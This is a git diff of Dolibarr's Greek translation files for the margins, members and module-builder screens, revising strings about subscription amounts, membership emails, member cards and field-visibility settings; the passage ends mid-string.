+MarginRate=Ποσοστό περιθωρίου επί της %% +ModifyMarginRates=Τροποποίηση ποσοστών περιθωρίου MarkRate=Ποσοστό Κέρδους -DisplayMarginRates=Εμφάνιση ποσοστό κέρδους -DisplayMarkRates=Εμφάνιση σημειωμένων τιμών +DisplayMarginRates=Εμφάνιση ποσοστών περιθωρίου +DisplayMarkRates=Εμφάνιση ποσοστών κέρδους InputPrice=Εισαγωγή τιμής margin=Διαχείριση των ποσοστών κέρδους margesSetup=Ρύθμιση της διαχείρισης ποσοστών κέρδους @@ -16,7 +17,7 @@ MarginDetails=Λεπτομέρειες Περιθωρίων ProductMargins=Περιθώρια προϊόντος CustomerMargins=Περιθώρια πελατών SalesRepresentativeMargins=Περιθώρια αντιπρόσωπου πωλήσεων -ContactOfInvoice=Επικοινωνία με το τιμολόγιο +ContactOfInvoice=Επαφή τιμολογίου UserMargins=Περιθώρια χρήστη ProductService=Προϊόν ή Υπηρεσία AllProducts=Όλα τα προϊόντα και οι υπηρεσίες @@ -32,14 +33,14 @@ MARGIN_TYPE=Τιμή αγοράς/κόστους που προτείνεται MargeType1=Περιθώριο για την καλύτερη τιμή προμηθευτή MargeType2=Περιθώριο στη μέση σταθμισμένη τιμή (WAP) MargeType3=Περιθώριο στην τιμή κόστους -MarginTypeDesc=* Περιθώριο με την καλύτερη τιμή αγοράς = Τιμή πώλησης - Καλύτερη τιμή πωλητή που ορίζεται στην κάρτα προϊόντος
      * Περιθώριο σταθμισμένης μέσης τιμής (WAP) = Τιμή πώλησης - Σταθμισμένη μέση τιμή προϊόντος (WAP) ή καλύτερη τιμή προμηθευτή εάν το WAP δεν έχει καθοριστεί ακόμη
      * Περιθώριο στην τιμή κόστους = τιμή πώλησης - τιμή κόστους οριζόμενη στην κάρτα προϊόντος ή WAP, εάν η τιμή κόστους δεν έχει καθοριστεί ή η καλύτερη τιμή πωλητή αν το WAP δεν έχει οριστεί ακόμη +MarginTypeDesc=* Περιθώριο στην καλύτερη τιμή αγοράς = Τιμή πώλησης - Η καλύτερη τιμή πωλητή που ορίζεται στην κάρτα προϊόντος
      * Περιθώριο στη σταθμισμένη μέση τιμή (WAP) = Τιμή πώλησης - Μέση σταθμισμένη τιμή προϊόντος (WAP) ή καλύτερη τιμή πωλητή εάν το WAP δεν έχει οριστεί ακόμη
      * Περιθώριο σε Τιμή κόστους = Τιμή πώλησης - τιμή κόστους που καθορίζεται στην κάρτα προϊόντος ή στο WAP εάν η τιμή κόστους δεν έχει καθοριστεί ή η καλύτερη τιμή πωλητή εάν το WAP δεν έχει ακόμη καθοριστεί CostPrice=Τιμή κόστους -UnitCharges=Χρεώσεων -Charges=Επιβαρύνσεις +UnitCharges=Χρεώσεις μονάδων +Charges=Χρεώσεις AgentContactType=τύπος επαφής εμπορικός αντιπρόσωπου -AgentContactTypeDetails=Ορίστε ποιος τύπος επαφής (συνδεδεμένος στα τιμολόγια) θα χρησιμοποιηθεί για την αναφορά περιθωρίου ανά επαφή / διεύθυνση. Σημειώστε ότι η ανάγνωση των στατιστικών στοιχείων μιας επαφής δεν είναι αξιόπιστη, διότι στις περισσότερες περιπτώσεις η επαφή μπορεί να μην ορίζεται σαφώς στα τιμολόγια. -rateMustBeNumeric=Βαθμολογήστε πρέπει να είναι μια αριθμητική τιμή -markRateShouldBeLesserThan100=Το ποσοστό πρέπει να είναι χαμηλότερη από 100 +AgentContactTypeDetails=Καθορίστε ποιος τύπος επαφής (συνδεδεμένος στα τιμολόγια) θα χρησιμοποιηθεί για την αναφορά περιθωρίου ανά επαφή/διεύθυνση. Σημειώστε ότι η ανάγνωση στατιστικών στοιχείων σε μια επαφή δεν είναι αξιόπιστη, καθώς στις περισσότερες περιπτώσεις η επαφή μπορεί να μην ορίζεται ρητά στα τιμολόγια. +rateMustBeNumeric=Το ποσοστό πρέπει να είναι μια αριθμητική τιμή +markRateShouldBeLesserThan100=Το ποσοστό κέρδους πρέπει να είναι χαμηλότερο από 100 ShowMarginInfos=Δείτε πληροφορίες για τα περιθώρια CheckMargins=Λεπτομέρεια περιθωρίων MarginPerSaleRepresentativeWarning=Η αναφορά περιθωρίου ανά χρήστη χρησιμοποιεί τη σχέση μεταξύ τρίτων μερών και αντιπροσώπων πωλήσεων για να υπολογίσει το περιθώριο κάθε αντιπροσώπου πωλήσεων. Επειδή ορισμένα τρίτα μέρη ενδέχεται να μην έχουν εξειδικευμένο αντιπρόσωπο πώλησης και ορισμένα τρίτα μέρη ενδέχεται να συνδέονται με πολλούς αντιπρόσωπους, ορισμένα ποσά ενδέχεται να μην περιλαμβάνονται στην έκθεση (εάν δεν υπάρχει αντιπρόσωπος πώλησης) και μερικά ενδέχεται να εμφανίζονται σε διαφορετικές γραμμές (για κάθε αντιπρόσωπο πώλησης) . diff --git a/htdocs/langs/el_GR/members.lang b/htdocs/langs/el_GR/members.lang index 64f8f69d16c..44423555b45 100644 --- a/htdocs/langs/el_GR/members.lang +++ b/htdocs/langs/el_GR/members.lang @@ -4,10 +4,12 @@ MemberCard=Καρτέλα μελών SubscriptionCard=Καρτέλα συνδρομής Member=Μέλος Members=Μέλη +NoRecordedMembers=Δεν υπάρχουν εγγεγραμμένα μέλη +NoRecordedMembersByType=Δεν υπάρχουν εγγεγραμμένα μέλη ShowMember=Εμφάνιση καρτέλας μέλους UserNotLinkedToMember=Ο χρήστης δεν συνδέετε με κάποιο μέλος ThirdpartyNotLinkedToMember=Το τρίτο μέρος δεν συνδέεται με κάποιο μέλος -MembersTickets=Φύλλο διεύθυνσης μέλους +MembersTickets=Κατάσταση(Φύλλο) διευθύνσεων μελών FundationMembers=Μέλη οργανισμού ListOfValidatedPublicMembers=Λίστα πιστοποιημένων φανερών μελών ErrorThisMemberIsNotPublic=Αυτό το μέλος δεν είναι δημόσιο @@ -15,6 +17,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Ένα άλλο μέλος (όνομ ErrorUserPermissionAllowsToLinksToItselfOnly=Για λόγους ασφαλείας, πρέπει να σας παραχωρηθούν δικαιώματα επεξεργασίας όλων των χρηστών για να μπορείτε να συνδέσετε ένα μέλος με έναν χρήστη που δεν είναι δικός σας. SetLinkToUser=Σύνδεσμος σε χρήστη του Dolibarr SetLinkToThirdParty=Σύνδεσμος με τρίτο μέρος του Dolibarr +MemberCountersArePublic=Οι μετρητές έγκυρων μελών είναι δημόσιοι MembersCards=Δημιουργία καρτών για μέλη MembersList=Κατάλογος μελών MembersListToValid=Λίστα μελών (προς επικύρωση) @@ -35,6 +38,7 @@ DateEndSubscription=Ημερομηνία λήξης συνδρομής μέλο EndSubscription=Τέλος ιδιότητας συνδρομής μέλους SubscriptionId=Αναγνωριστικό συνδρομής WithoutSubscription=Χωρίς συνδρομή +WaitingSubscription=Σε αναμονή συνδρομής MemberId=Αναγνωριστικό μέλους MemberRef= Αναφ. Μέλους NewMember=Νέο μέλος @@ -72,6 +76,12 @@ MemberTypeCanNotBeDeleted=Αυτός ο τύπος Μέλους δεν μπορ NewSubscription=Νέα συνδρομή NewSubscriptionDesc=Αυτή η φόρμα σας επιτρέπει να καταγράψετε την συνδρομή σας ως νέο μέλος του ιδρύματος. Αν θέλετε να ανανεώσετε τη συνδρομή σας (αν είστε ήδη μέλος), επικοινωνήστε με το συμβούλιο του ιδρύματος μέσω e-mail %s. Subscription=Συνδρομή +AnyAmountWithAdvisedAmount=Οποιοδήποτε ποσό της επιλογής σας, συνιστάται %s +AnyAmountWithoutAdvisedAmount=Οποιοδήποτε ποσό της επιλογής σας +CanEditAmountShort=Οποιοδήποτε ποσό +CanEditAmountShortForValues=συνιστάται, οποιοδήποτε ποσό +MembershipDuration=Διάρκεια +GetMembershipButtonLabel=Εγγραφή Subscriptions=Συνδρομές SubscriptionLate=Καθυστερημένη πληρωμή συνδρομής SubscriptionNotReceived=Η πληρωμή της συνδρομής δεν ελήφθη ποτέ @@ -96,10 +106,10 @@ ConfirmResiliateMember=Είστε σίγουροι ότι θέλετε να κα DeleteMember=Διαγραφή ενός μέλους ConfirmDeleteMember=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτό το μέλος (Η διαγραφή ενός μέλους θα διαγράψει όλες τις συνδρομές του); DeleteSubscription=Διαγραφή συνδρομής -ConfirmDeleteSubscription=Είστε βέβαιοι ότι θέλετε να διαγράψετε αυτήν τη συνδρομή; +ConfirmDeleteSubscription=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτήν τη συνδρομή; Filehtpasswd=htpasswd file ValidateMember=Επικύρωση ενός μέλους -ConfirmValidateMember=Είστε βέβαιοι ότι θέλετε να επικυρώσετε αυτό το μέλος; +ConfirmValidateMember=Είστε σίγουροι ότι θέλετε να επικυρώσετε αυτό το μέλος; FollowingLinksArePublic=Οι παρακάτω σύνδεσμοι είναι ανοιχτές σελίδες που δεν προστατεύονται από οποιαδήποτε άδεια του Dolibarr. Δεν είναι μορφοποιημένες σελίδες, παρέχονται ως παράδειγμα για να παρουσιάσουν τον τρόπο ταξινόμησης της βάσης δεδομένων των μελών. PublicMemberList=Δημόσια λίστα μελών BlankSubscriptionForm=Δημόσια φόρμα εγγραφής @@ -128,47 +138,47 @@ SendingEmailOnCancelation=Αποστολή email κατάργησης μελου SendingReminderActionComm=Αποστολή υπενθύμισης για συμβάν ατζέντας # Topic of email templates YourMembershipRequestWasReceived=Η συνδρομή σας ελήφθη. -YourMembershipWasValidated=Η ιδιότητα μέλους σας επικυρώθηκε -YourSubscriptionWasRecorded=Η τελευταία σας συνδρομή καταγράφηκε +YourMembershipWasValidated=Η συνδρομή σας επικυρώθηκε +YourSubscriptionWasRecorded=Η νέα σας συνδρομή καταγράφηκε SubscriptionReminderEmail=υπενθύμιση συνδρομής -YourMembershipWasCanceled=Η εγγραφή σας ακυρώθηκε -CardContent=Περιεχόμενα καρτέλας +YourMembershipWasCanceled=Η συνδρομή σας ακυρώθηκε +CardContent=Το περιεχόμενο της κάρτας μέλους σας # Text of email templates -ThisIsContentOfYourMembershipRequestWasReceived=Θα θέλαμε να σας ενημερώσουμε ότι το αίτημά σας για συμμετοχή έγινε δεκτό.

      +ThisIsContentOfYourMembershipRequestWasReceived=Θέλουμε να σας ενημερώσουμε ότι το αίτημα συμμετοχής σας ελήφθη.

      ThisIsContentOfYourMembershipWasValidated=Θέλουμε να σας ενημερώσουμε ότι η ιδιότητα μέλους σας έχει επικυρωθεί με τις ακόλουθες πληροφορίες:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      -ThisIsContentOfSubscriptionReminderEmail=Θα θέλαμε να σας ενημερώσουμε ότι η συνδρομή σας πρόκειται να λήξει ή έχει ήδη λήξει (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Ελπίζουμε ότι θα το ανανεώσετε.

      +ThisIsContentOfYourSubscriptionWasRecorded=Θέλουμε να σας ενημερώσουμε ότι η νέα σας συνδρομή καταγράφηκε. Παρακαλώ δείτε το συνημμένο τιμολόγιο.

      +ThisIsContentOfSubscriptionReminderEmail=Θα θέλαμε να σας ενημερώσουμε ότι η συνδρομή σας πρόκειται να λήξει ή έχει ήδη λήξει (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Ελπίζουμε ότι θα την ανανεώσετε.

      ThisIsContentOfYourCard=Αυτή είναι μια περίληψη των πληροφοριών που έχουμε σχετικά με εσάς. Επικοινωνήστε μαζί μας αν κάτι είναι λανθασμένο.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Αντικείμενο του μηνύματος ηλεκτρονικού ταχυδρομείου ειδοποίησης που λαμβάνεται σε περίπτωση αυτόματης εγγραφής επισκέπτη DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Περιεχόμενο του μηνύματος ηλεκτρονικού ταχυδρομείου ειδοποίησης που λαμβάνεται σε περίπτωση αυτόματης εγγραφής επισκέπτη DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=Πρότυπο email που θα χρησιμοποιηθεί για την αποστολή email σε ένα μέλος κατά την αυτόματη εγγραφή μέλους -DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=Πρότυπο ηλεκτρονικού ταχυδρομείου που θα χρησιμοποιηθεί για την αποστολή μηνυμάτων ηλεκτρονικού ταχυδρομείου σε μέλος σχετικά με την επικύρωση μέλους +DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=Πρότυπο email που θα χρησιμοποιηθεί για την αποστολή email σε ένα μέλος κατά την επικύρωση της ιδιότητας του ως μέλος DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=Πρότυπο email που θα χρησιμοποιηθεί για την αποστολή email σε ένα μέλος σε νέα καταχώρηση συνδρομής DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=Πρότυπο email που θα χρησιμοποιηθεί για την αποστολή υπενθύμισης email όταν η συνδρομή πρόκειται να λήξει -DescADHERENT_EMAIL_TEMPLATE_CANCELATION=Πρότυπο ηλεκτρονικού ταχυδρομείου που θα χρησιμοποιηθεί για την αποστολή μηνυμάτων ηλεκτρονικού ταχυδρομείου σε μέλος σχετικά με την ακύρωση μέλους -DescADHERENT_EMAIL_TEMPLATE_EXCLUSION=Πρότυπο ηλεκτρονικού ταχυδρομείου που θα χρησιμοποιηθεί για την αποστολή email σε ένα μέλος σε περίπτωση αποκλεισμού μέλους +DescADHERENT_EMAIL_TEMPLATE_CANCELATION=Πρότυπο email που θα χρησιμοποιηθεί για την αποστολή email σε ένα μέλος κατά την ακύρωση της συνδρομής του +DescADHERENT_EMAIL_TEMPLATE_EXCLUSION=Πρότυπο email που θα χρησιμοποιηθεί για την αποστολή email σε ένα μέλος σε περίπτωση αποκλεισμού του DescADHERENT_MAIL_FROM=Email αποστολέα για αυτόματα μηνύματα ηλεκτρονικού ταχυδρομείου -DescADHERENT_ETIQUETTE_TYPE=Format of labels page -DescADHERENT_ETIQUETTE_TEXT=Text printed on member address sheets -DescADHERENT_CARD_TYPE=Format of cards page -DescADHERENT_CARD_HEADER_TEXT=Text printed on top of member cards -DescADHERENT_CARD_TEXT=Text printed on member cards (align on left) -DescADHERENT_CARD_TEXT_RIGHT=Text printed on member cards (align on right) +DescADHERENT_ETIQUETTE_TYPE=Μορφή σελίδας ετικετών +DescADHERENT_ETIQUETTE_TEXT=Κείμενο τυπωμένο σε καταστάσεις διευθύνσεων μέλους +DescADHERENT_CARD_TYPE=Σελίδα της μορφής των καρτών μέλους +DescADHERENT_CARD_HEADER_TEXT=Κείμενο τυπωμένο στο πάνω μέρος των καρτών μελών +DescADHERENT_CARD_TEXT=Κείμενο τυπωμένο σε κάρτες μελών (στοίχιση αριστερά) +DescADHERENT_CARD_TEXT_RIGHT=Κείμενο τυπωμένο σε κάρτες μελών (στοίχιση δεξιά) DescADHERENT_CARD_FOOTER_TEXT=Κείμενο που θα εκτυπωθεί στο κάτω μέρος της κάρτας μέλους ShowTypeCard=Εμφάνιση τύπου '%s' HTPasswordExport=δημιουργία αρχείου htpassword NoThirdPartyAssociatedToMember=Κανένα τρίτο μέρος δεν σχετίζεται με αυτό το μέλος MembersAndSubscriptions=Μέλη και Συνδρομές -MoreActions=Complementary action on recording +MoreActions=Συμπληρωματική ενέργεια κατά την καταγραφή MoreActionsOnSubscription=Συμπληρωματική ενέργεια που προτείνεται από προεπιλογή κατά την καταγραφή μιας συνδρομής, η οποία πραγματοποιείται επίσης αυτόματα με την ηλεκτρονική πληρωμή μιας συνδρομής MoreActionBankDirect=Δημιουργήστε μια απευθείας εγγραφή σε τραπεζικό λογαριασμό MoreActionBankViaInvoice=Δημιουργήστε ένα τιμολόγιο και μια πληρωμή σε τραπεζικό λογαριασμό -MoreActionInvoiceOnly=Create an invoice with no payment +MoreActionInvoiceOnly=Δημιουργήστε ένα τιμολόγιο χωρίς πληρωμή LinkToGeneratedPages=Δημιουργία επαγγελματικών καρτών ή καταστάσεων διευθύνσεων LinkToGeneratedPagesDesc=Αυτή η οθόνη σάς επιτρέπει να δημιουργείτε αρχεία PDF με επαγγελματικές κάρτες για όλα τα μέλη σας. DocForAllMembersCards=Δημιουργία επαγγελματικών καρτών για όλα τα μέλη DocForOneMemberCards=Δημιουργία επαγγελματικών καρτών για ένα συγκεκριμένο μέλος -DocForLabels=Generate address sheets (Format for output actually setup: %s) +DocForLabels=Δημιουργια Καταστάσεων(Φύλλων) διευθύνσεων SubscriptionPayment=Πληρωμή συνδρομής LastSubscriptionDate=Ημερομηνία τελευταίας πληρωμής συνδρομής LastSubscriptionAmount=Ποσό τελευταίας συνδρομής @@ -198,26 +208,31 @@ SubscriptionsStatistics=Στατιστικά στοιχεία συνδρομών NbOfSubscriptions=Αριθμός συνδρομών AmountOfSubscriptions=Ποσό που εισπράχθηκε από συνδρομές TurnoverOrBudget=Κύκλος εργασιών (για εταιρεία) ή προϋπολογισμός (για ίδρυμα) -DefaultAmount=Προκαθορισμένο ποσό συνδρομών -CanEditAmount=Ο επισκέπτης μπορεί να επιλέξει/επεξεργαστεί το ποσό της συνεισφοράς του -MEMBER_NEWFORM_PAYONLINE=Μετάβαση στη σελίδα ηλεκτρονικής πληρωμής -ByProperties=Εκ ΦΥΣΕΩΣ +DefaultAmount=Προεπιλεγμένο ποσό συνδρομής (χρησιμοποιείται μόνο εάν δεν έχει καθοριστεί ποσό σε επίπεδο τύπου μέλους) +MinimumAmount=Ελάχιστο ποσό (χρησιμοποιείται μόνο όταν το ποσό συνδρομής είναι ελεύθερο) +CanEditAmount=Το ποσό της συνδρομής είναι της δίκης σας επιλογής +CanEditAmountDetail=Ο επισκέπτης μπορεί να επιλέξει/επεξεργαστεί το ποσό της συνεισφοράς του ανεξάρτητα από τον τύπο μέλους +AmountIsLowerToMinimumNotice=Επί συνολικού οφειλόμενου των %s +MEMBER_NEWFORM_PAYONLINE=Μετά την ηλεκτρονική εγγραφή, μεταβείτε αυτόματα στη σελίδα ηλεκτρονικής πληρωμής +ByProperties=Ανά φύση MembersStatisticsByProperties=Στατιστικά στοιχεία μελών κατά φύση VATToUseForSubscriptions=Συντελεστής ΦΠΑ που χρησιμοποιείται για εισφορές NoVatOnSubscription=Χωρίς ΦΠΑ για εισφορές -ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Προϊόν που χρησιμοποιείται για τη γραμμή συνεισφοράς στο τιμολόγιο: %s +ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Προϊόν που χρησιμοποιείται για τη γραμμή συνδρομής στο τιμολόγιο: %s NameOrCompany=Όνομα ή Εταιρία -SubscriptionRecorded=Καταγράφηκε η συνεισφορά +SubscriptionRecorded=Η συνδρομή καταγράφηκε NoEmailSentToMember=Δεν εστάλη email στο μέλος EmailSentToMember=Το email στάλθηκε στο μέλος την %s SendReminderForExpiredSubscriptionTitle=Αποστολή υπενθύμισης μέσω email για συνδρομές που έχουν λήξει SendReminderForExpiredSubscription=Αποστολή υπενθύμισης μέσω email στα μέλη όταν η συνδρομή πρόκειται να λήξει (η παράμετρος είναι ο αριθμός ημερών πριν από το τέλος της ιδιότητας μέλους για την αποστολή της υπενθύμισης. Μπορεί να είναι μια λίστα ημερών που χωρίζονται με ερωτηματικό, για παράδειγμα '10;5;0;-5 ') MembershipPaid=Η συνδρομή καταβλήθηκε για την τρέχουσα περίοδο (έως %s) -YouMayFindYourInvoiceInThisEmail=Μπορείτε να βρείτε το τιμολόγιο που επισυνάπτεται σε αυτό το μήνυμα ηλεκτρονικού ταχυδρομείου -XMembersClosed=%s μέλος (τα) έκλεισε +YouMayFindYourInvoiceInThisEmail=Σε αυτό το email θα βρείτε συνημμένο το τιμολόγιο σας +XMembersClosed=%s μέλη έκλεισαν XExternalUserCreated=Δημιουργήθηκαν %s εξωτερικοί χρήστες ForceMemberNature=Επιβολή φύσης μέλους(Άτομο ή Εταιρεία) CreateDolibarrLoginDesc=Η δημιουργία σύνδεσης χρήστη για τα μέλη τους επιτρέπει να συνδεθούν με την εφαρμογή. Ανάλογα με τις εξουσιοδοτήσεις που χορηγούνται, θα μπορούν, για παράδειγμα, να συμβουλεύονται ή να τροποποιούν οι ίδιοι τα αρχεία τους. CreateDolibarrThirdPartyDesc=Ένα τρίτο μέρος είναι η νομική οντότητα που θα χρησιμοποιηθεί στο τιμολόγιο εάν αποφασίσετε να δημιουργήσετε τιμολόγιο για κάθε συνδρομή. Θα μπορείτε να το δημιουργήσετε αργότερα κατά τη διαδικασία καταγραφής της συνδρομής. MemberFirstname=Όνομα μέλους MemberLastname=Επώνυμο μέλους +MemberCodeDesc=Κωδικός μέλους, μοναδικός για όλα τα μέλη +NoRecordedMembers=Δεν υπάρχουν εγγεγραμμένα μέλη diff --git a/htdocs/langs/el_GR/modulebuilder.lang b/htdocs/langs/el_GR/modulebuilder.lang index 5663900d9fa..12d2db20cb2 100644 --- a/htdocs/langs/el_GR/modulebuilder.lang +++ b/htdocs/langs/el_GR/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Αναγνωριστικό ενότητας ModuleBuilderDesc=Αυτό το εργαλείο πρέπει να χρησιμοποιείται μόνο από έμπειρους χρήστες ή προγραμματιστές. Παρέχει βοηθητικά προγράμματα για να δημιουργήσετε ή να επεξεργαστείτε τη δική σας ενότητα. Η τεκμηρίωση για εναλλακτικό τρόπο ανάπτυξης είναι εδώ . EnterNameOfModuleDesc=Εισάγετε το όνομα της ενότητας/εφαρμογής που θέλετε να δημιουργήσετε χωρίς κενά. Χρησιμοποιήστε κεφαλαία για να διαχωρίσετε λέξεις (Για παράδειγμα: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Εισάγετε το όνομα του αντικειμένου που θέλετε να δημιουργήσετε χωρίς κενά. Χρησιμοποιήστε κεφαλαία για να διαχωρίσετε λέξεις (Για παράδειγμα: MyObject, Student, Teacher...). Θα δημιουργηθούν, το αρχείο κλάσης CRUD αλλά και το αρχείο API, οι σελίδες για λίστα/προσθήκη/επεξεργασία/διαγραφή αντικειμένου και αρχεία SQL. +EnterNameOfObjectDesc=Εισάγετε το όνομα του αντικειμένου που θέλετε να δημιουργήσετε χωρίς κενά. Χρησιμοποιήστε κεφαλαία για να διαχωρίσετε λέξεις (Για παράδειγμα: MyObject, Student, Teacher...). Θα δημιουργηθούν, το αρχείο κλάσης CRUD, οι σελίδες για λίστα/προσθήκη/επεξεργασία/διαγραφή αντικειμένου και αρχεία SQL. EnterNameOfDictionaryDesc=Εισάγετε το όνομα του λεξικού που θέλετε να δημιουργήσετε χωρίς κενά. Χρησιμοποιήστε κεφαλαία για να διαχωρίσετε λέξεις (Για παράδειγμα: MyDico...). Θα δημιουργηθεί το αρχείο κλάσης, αλλά και το αρχείο SQL. ModuleBuilderDesc2=Διαδρομή όπου δημιουργούνται/επεξεργάζονται οι ενότητες (πρώτος κατάλογος για εξωτερικές ενότητες που ορίζεται σε %s): %s ModuleBuilderDesc3=Βρέθηκαν δημιουργημένες/επεξεργάσιμες ενότητες: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Μια ενότητα ανιχνεύεται ως "επεξε NewModule=Νέα ενότητα NewObjectInModulebuilder=Νέο αντικείμενο NewDictionary=Νέο λεξικό +ModuleName=Όνομα ενότητας ModuleKey=κλειδί ενότητας ObjectKey=Κλειδί αντικειμένου DicKey=Κλειδί λεξικού @@ -48,11 +50,14 @@ PathToModulePackage=Διαδρομή προς το αρχείο zip του πα PathToModuleDocumentation=Διαδρομή προς το αρχείο τεκμηρίωσης ενότητας/εφαρμογής (%s) SpaceOrSpecialCharAreNotAllowed=Δεν επιτρέπονται κενά(space) ή ειδικοί χαρακτήρες. FileNotYetGenerated=Το αρχείο δεν έχει δημιουργηθεί ακόμη +GenerateCode=Δημιουργία κώδικα RegenerateClassAndSql=Αναγκαστική ενημέρωση των αρχείων .class και .sql RegenerateMissingFiles=Δημιουργία αρχείων που λείπουν SpecificationFile=Αρχείο τεκμηρίωσης LanguageFile=Αρχείο γλώσσας ObjectProperties=Ιδιότητες αντικειμένου +Property=Ιδιότητα +PropertyDesc=Μια ιδιότητα είναι ένα χαρακτηριστικό ενός αντικείμενου. Αυτό το χαρακτηριστικό έχει έναν κωδικό, μια ετικέτα και έναν τύπο με πολλές επιλογές. ConfirmDeleteProperty=Είστε σίγουροι ότι θέλετε να διαγράψετε την ιδιότητα %s; Αυτό θα αλλάξει τον κώδικα στην κλαση PHP αλλά και θα αφαιρέσει τη στήλη από τον πίνακα ορισμού του αντικειμένου. NotNull=Not NULL NotNullDesc=1=Ορίστε τη βάση δεδομένων σε NOT NULL, 0=Να επιτρέπονται null τιμές, -1=Να επιτρέπονται null τιμές επιβάλλοντας την τιμή σε NULL εάν είναι κενή ('' ή 0) @@ -81,15 +86,16 @@ IsAMeasure=Είναι ένα μέτρο DirScanned=Ο κατάλογος σαρώθηκε NoTrigger=Χωρίς trigger NoWidget=Χωρίς γραφικό στοιχείο -GoToApiExplorer=API explorer +ApiExplorer=API explorer ListOfMenusEntries=Λίστα καταχωρήσεων μενού ListOfDictionariesEntries=Λίστα καταχωρήσεων λεξικών ListOfPermissionsDefined=Λίστα καθορισμένων δικαιωμάτων SeeExamples=Δείτε παραδείγματα εδώ -EnabledDesc=Προϋπόθεση να είναι ενεργό αυτό το πεδίο (Παραδείγματα: 1 ή $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Είναι ορατό το πεδίο; (Παραδείγματα: 0=Ποτέ δεν είναι ορατό, 1=Ορατό στη λίστα και δημιουργία/ενημέρωση/προβολή φορμών, 2=Ορατό μόνο στη λίστα, 3=Ορατό μόνο στη φόρμα δημιουργίας/ενημέρωσης/προβολής (όχι στη λίστα), 4=Ορατό στη λίστα και ενημέρωση/προβολή μόνο φόρμας (όχι δημιουργία), 5=Ορατό μόνο στη φόρμα προβολής και λίστας (όχι δημιουργία, όχι ενημέρωση).

      Η χρήση αρνητικής τιμής σημαίνει ότι το πεδίο δεν εμφανίζεται από προεπιλογή στη λίστα, αλλά μπορεί να επιλεγεί για προβολή).

      Μπορεί να είναι μια έκφραση, για παράδειγμα:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Εμφανίστε αυτό το πεδίο σε συμβατά έγγραφα PDF, μπορείτε να διαχειριστείτε τη θέση με το πεδίο "Position".
      Επί του παρόντος, γνωστά μοντέλα συμβατών PDF είναι: eratosthene (παραγγελίες), espadon (αποστολές), sponge (τιμολόγια), cyan (προσφορές), cornas (παραγγελίες προμηθευτή)

      Για έγγραφα:
      0 = δεν εμφανίζονται
      1 = εμφανίζονται
      2 = εμφανίζονται μόνο αν δεν είναι κενά

      Για τις γραμμές εγγράφου:
      0 = δεν εμφανίζονται
      1 = εμφανίζονται σε μια στήλη
      3 = εμφανιζονται στη στήλη περιγραφής της γραμμής μετά την περιγραφή
      4 = εμφανίζονται στη στήλη περιγραφής μετά την περιγραφή μόνο αν δεν είναι κενή -DisplayOnPdf=Εμφάνιση σε PDF +EnabledDesc=Προϋπόθεση για να είναι ενεργό αυτό το πεδίο.

      Παραδείγματα:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Είναι ορατό το πεδίο; (Παραδείγματα: 0=Ποτέ δεν είναι ορατό, 1=Ορατό στη λίστα και δημιουργία/ενημέρωση/προβολή φόρμας, 2=Ορατό μόνο στη λίστα, 3=Ορατό μόνο στη δημιουργία/ενημέρωση/προβολή φόρμας (όχι στη λίστα), 4=Ορατό στη λίστα και μόνο στην ενημέρωση/προβολή φόρμας (όχι δημιουργία), 5=Ορατό μόνο στη λίστα και προβολή φόρμας (όχι δημιουργία, όχι ενημέρωση).

      Η χρήση αρνητικής τιμής σημαίνει ότι το πεδίο δεν εμφανίζεται από προεπιλογή στη λίστα, αλλά μπορεί να επιλεγεί για προβολή). +ItCanBeAnExpression=Μπορεί να είναι μια έκφραση. Παράδειγμα:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Εμφάνιση αυτού του πεδίου σε συμβατά έγγραφα PDF, μπορείτε να διαχειριστείτε τη θέση με το πεδίο "Position".
      Για έγγραφο :
      0 = δεν εμφανίζεται
      1 = εμφάνιση
      2 = εμφάνιση μόνο όταν δεν ειναι κενό

      Για γραμμές εγγράφων :
      0 = δεν εμφανίζεται
      1 = εμφάνιση σε στήλη
      3 = εμφάνιση σε στήλη γραμμής περιγραφής μετά από την περιγραφή
      4 = εμφάνιση στη στήλη περιγραφής μετά την περιγραφή μόνο εάν δεν είναι κενή +DisplayOnPdf=Σε PDF IsAMeasureDesc=Μπορεί η τιμή του πεδίου να αθροιστεί για να πάρει ένα σύνολο σε λίστα; (Παραδείγματα: 1 ή 0) SearchAllDesc=Χρησιμοποιείται το πεδίο για την αναζήτηση από το εργαλείο γρήγορης αναζήτησης; (Παραδείγματα: 1 ή 0) SpecDefDesc=Εισάγετε εδώ όλη την τεκμηρίωση που θέλετε να παράσχετε με την ενότητα σας, η οποία δεν έχει ήδη καθοριστεί από άλλες καρτέλες. Μπορείτε να χρησιμοποιήσετε το .md ή καλύτερα, την πλούσια σύνταξη .asciidoc. @@ -119,7 +125,7 @@ UseSpecificReadme=Χρησιμοποιήστε ένα συγκεκριμένο R ContentOfREADMECustomized=Σημείωση: Το περιεχόμενο του αρχείου README.md έχει αντικατασταθεί από συγκεκριμένη τιμή που έχει οριστεί στη ρύθμιση του ModuleBuilder. RealPathOfModule=Πραγματική διαδρομή της ενότητας ContentCantBeEmpty=Το περιεχόμενο του αρχείου δεν μπορεί 